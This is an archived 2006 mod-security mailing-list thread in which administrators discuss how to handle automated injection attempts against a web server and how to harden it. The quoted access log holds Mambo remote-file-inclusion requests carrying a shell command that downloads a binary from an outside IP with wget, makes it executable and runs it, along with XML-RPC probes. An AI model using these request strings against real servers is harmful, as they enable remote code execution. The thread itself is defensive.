|
From: <Ral...@it...> - 2006-02-23 15:19:33
|
Hi Andrej, thank you for your thoughts. luckily the webapps don't run PHP. That's why there isn't even a mod_php or external PHP interpreter present. Also user agents such as wget aren't installed. And I seriously consider removing all of Perl (though no Perl CGIs nor mod_perl code is part of the webapp) Still there seem to be some system tasks that rely on the presence of Perl but I think on a bastion host nothing more than what is exactly needed for its service should exist there. What still troubles me is the Java stuff that I will be forced to install because I know too little of Java=20 to be alerted about security issues and exploits in that field. But weren't it the Java folks who once boasted about their new cool language that a prominent design feature was its sandboxing? I'll have to educate myself with Java and Tomcat and mod_jk... > -----Original Message----- > From: mod...@li...=20 > [mailto:mod...@li...]On=20 > Behalf Of Andras Got > Sent: Thursday, February 23, 2006 2:43 PM > To: mod...@li... > Subject: Re: [mod-security-users] What best to do with php,=20 > xmlrpc, cvs, mambo, blog, drupal, wordpress injection attacks? >=20 >=20 > Hi, >=20 > Just ban wget, fetch and other dl clients, suspicious name is=20 > URL-s and of course you should secure=20 > your PHP (safe_mode, disable_functions, open_basedir). >=20 > For xmlrpc you may filter on the post payload, i'm not=20 > familiar with that security flaw. >=20 > IMHO you should give them a 404 and nothing more. I think the=20 > a best defense is showing them that=20 > there's nothing to exploit. When too many of these actions=20 > come to your webserver you may DoS the=20 > system you're redirecting to and giving a new target as well. >=20 > You may write letters to the abuse addresses of the network=20 > admins, because these are zombie=20 > machines almost everytime. On my webserver i got them coming=20 > from 3000-5000 addresses, but they're=20 > referer spams. I redirect them to localhost (to their=20 > localhost) with mod_rewrite. :) >=20 > Computer users tend to be very ignorant about security flaws=20 > lately, so there's no much we can do,=20 > besides a 404. :( >=20 > Regards, > Andrej >=20 >=20 > Ral...@it... wrote: > > Hello, > >=20 > > I guess evil noise like that is mundane encounter to any WWW > > webserver admin > > and probably an unavoidable plague as is SPAM for SMTP relays. > >=20 > > Because I haven't administered a WWW servicing webserver yet > > I luckily have missed such filth so far. > >=20 > > Of course these requests aren't serviced by our webserver and > > mod_security dutifully > > sends them a 404, > > nevertheless they waste bandwidth, file system space for their > > logging and processing resources. > >=20 > > On the other hand I'am hesitant to drop those source IP addresses > > by my packet filter > > because I suspect them (if not spoofed) to originate from an > > ISP's dynamic IP pool, > > and thereby blocking the next unlucky decent guy who happens have > > temporarily assigned such > > an abused IP address. > >=20 > > So I would like to ask you seasoned webserver admins how best to > > handle these requests? > >=20 > > Do you simply drop them, > > or do you redirect them to sites e.g. such as > > http://www.gulli.com/ , > > or some CERT blacklist etc.? > >=20 > > As for mod_security, > > what would a neat filter look like to counter or trick them? > > Is the setup of a honeypod that would draw attention from the > > webserver advisable, > > or is such in vain? > >=20 > > Here's an excerpt from our access_log of requests trying to wget > > and run some hostile code > > through our webserver. > > As these reappear on a regular basis > > I assume that some attack kits that generate them are in > > widespread use. > >=20 > >=20 > > 203.221.23.212 - - [23/Feb/2006:03:56:54 +0100] "GET > > /index2.php?option=3Dcom_content&do_pdf=3D1&id=3D1index2 > > .php?_REQUEST[option]=3Dcom_content&_REQUEST[Itemid]=3D1&GLOBALS=3D&mos > > Config_absolute_path=3Dhttp://209.123.16 > > .34/cmd.gif?&cmd=3Dcd%20/tmp;wget%20209.123.16.34/gicumz;chmod%2074 > > 4%20gicumz;./gicumz;echo%20YYY;echo| =20 > > HTTP/1.1" 404 208 > > 203.221.23.212 - - [23/Feb/2006:03:56:55 +0100] "GET > > /index.php?option=3Dcom_content&do_pdf=3D1&id=3D1index2. > > php?_REQUEST[option]=3Dcom_content&_REQUEST[Itemid]=3D1&GLOBALS=3D&mosC > > onfig_absolute_path=3Dhttp://209.123.16. > > 34/cmd.gif?&cmd=3Dcd%20/tmp;wget%20209.123.16.34/gicumz;chmod%20744 > > %20gicumz;./gicumz;echo%20YYY;echo| H > > TTP/1.1" 404 207 > > 203.221.23.212 - - [23/Feb/2006:03:56:57 +0100] "GET > > /mambo/index2.php?_REQUEST[option]=3Dcom_content&_RE > > QUEST[Itemid]=3D1&GLOBALS=3D&mosConfig_absolute_path=3Dhttp://209.123.1 > > 6.34/cmd.gif?&cmd=3Dcd%20/tmp;wget%20209 > > .123.16.34/gicumz;chmod%20744%20gicumz;./gicumz;echo%20YYY;echo| > > HTTP/1.1" 404 214 > > 203.221.23.212 - - [23/Feb/2006:03:56:58 +0100] "GET > > /cvs/index2.php?_REQUEST[option]=3Dcom_content&_REQU > > EST[Itemid]=3D1&GLOBALS=3D&mosConfig_absolute_path=3Dhttp://209.123.16. > > 34/cmd.gif?&cmd=3Dcd%20/tmp;wget%20209.1 > > 23.16.34/gicumz;chmod%20744%20gicumz;./gicumz;echo%20YYY;echo| > > HTTP/1.1" 404 212 > > 203.221.23.212 - - [23/Feb/2006:03:56:59 +0100] "GET > > /articles/mambo/index2.php?_REQUEST[option]=3Dcom_co > > ntent&_REQUEST[Itemid]=3D1&GLOBALS=3D&mosConfig_absolute_path=3Dhttp:// > > 209.123.16.34/cmd.gif?&cmd=3Dcd%20/tmp;w > > get%20209.123.16.34/gicumz;chmod%20744%20gicumz;./gicumz;echo%20Y > > YY;echo| HTTP/1.1" 404 223 > > 203.221.23.212 - - [23/Feb/2006:03:57:01 +0100] "GET > > /cvs/mambo/index2.php?_REQUEST[option]=3Dcom_content > > &_REQUEST[Itemid]=3D1&GLOBALS=3D&mosConfig_absolute_path=3Dhttp://209.1 > > 23.16.34/cmd.gif?&cmd=3Dcd%20/tmp;wget%2 > > 0209.123.16.34/gicumz;chmod%20744%20gicumz;./gicumz;echo%20YYY;ec > > ho| HTTP/1.1" 404 218 > > 203.221.23.212 - - [23/Feb/2006:03:57:02 +0100] "POST /xmlrpc.php > > HTTP/1.1" 403 212 > > 203.221.23.212 - - [23/Feb/2006:03:57:03 +0100] "POST > > /blog/xmlrpc.php HTTP/1.1" 403 217 > > 203.221.23.212 - - [23/Feb/2006:03:57:05 +0100] "POST > > /blog/xmlsrv/xmlrpc.php HTTP/1.1" 403 224 > > 203.221.23.212 - - [23/Feb/2006:03:57:06 +0100] "POST > > /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 403 225 > > 203.221.23.212 - - [23/Feb/2006:03:57:07 +0100] "POST > > /drupal/xmlrpc.php HTTP/1.1" 403 219 > > 203.221.23.212 - - [23/Feb/2006:03:57:09 +0100] "POST > > /phpgroupware/xmlrpc.php HTTP/1.1" 403 225 > > 203.221.23.212 - - [23/Feb/2006:03:57:10 +0100] "POST > > /wordpress/xmlrpc.php HTTP/1.1" 403 222 > > 203.221.23.212 - - [23/Feb/2006:03:57:11 +0100] "POST /xmlrpc.php > > HTTP/1.1" 403 212 > > 203.221.23.212 - - [23/Feb/2006:03:57:13 +0100] "POST > > /xmlrpc/xmlrpc.php HTTP/1.1" 403 219 > > 203.221.23.212 - - [23/Feb/2006:03:57:14 +0100] "POST > > /xmlsrv/xmlrpc.php HTTP/1.1" 403 219 > >=20 > >=20 > >=20 > > ------------------------------------------------------- > > This SF.Net email is sponsored by xPML, a groundbreaking=20 > scripting language > > that extends applications into web and mobile media. Attend=20 > the live webcast > > and join the prime developer group breaking into this new=20 > coding territory! > > http://sel.as-us.falkag.net/sel?cmd=3Dk&kid=110944&bid$1720&dat=121642 > > _______________________________________________ > > mod-security-users mailing list > > mod...@li... > > https://lists.sourceforge.net/lists/listinfo/mod-security-users > >=20 >=20 >=20 > ------------------------------------------------------- > This SF.Net email is sponsored by xPML, a groundbreaking=20 > scripting language > that extends applications into web and mobile media. Attend=20 > the live webcast > and join the prime developer group breaking into this new=20 > coding territory! > http://sel.as-us.falkag.net/sel?cmd=3Dlnk&kid=3D110944&bid=3D241720& dat=3D121642 _______________________________________________ mod-security-users mailing list mod...@li... https://lists.sourceforge.net/lists/listinfo/mod-security-users |
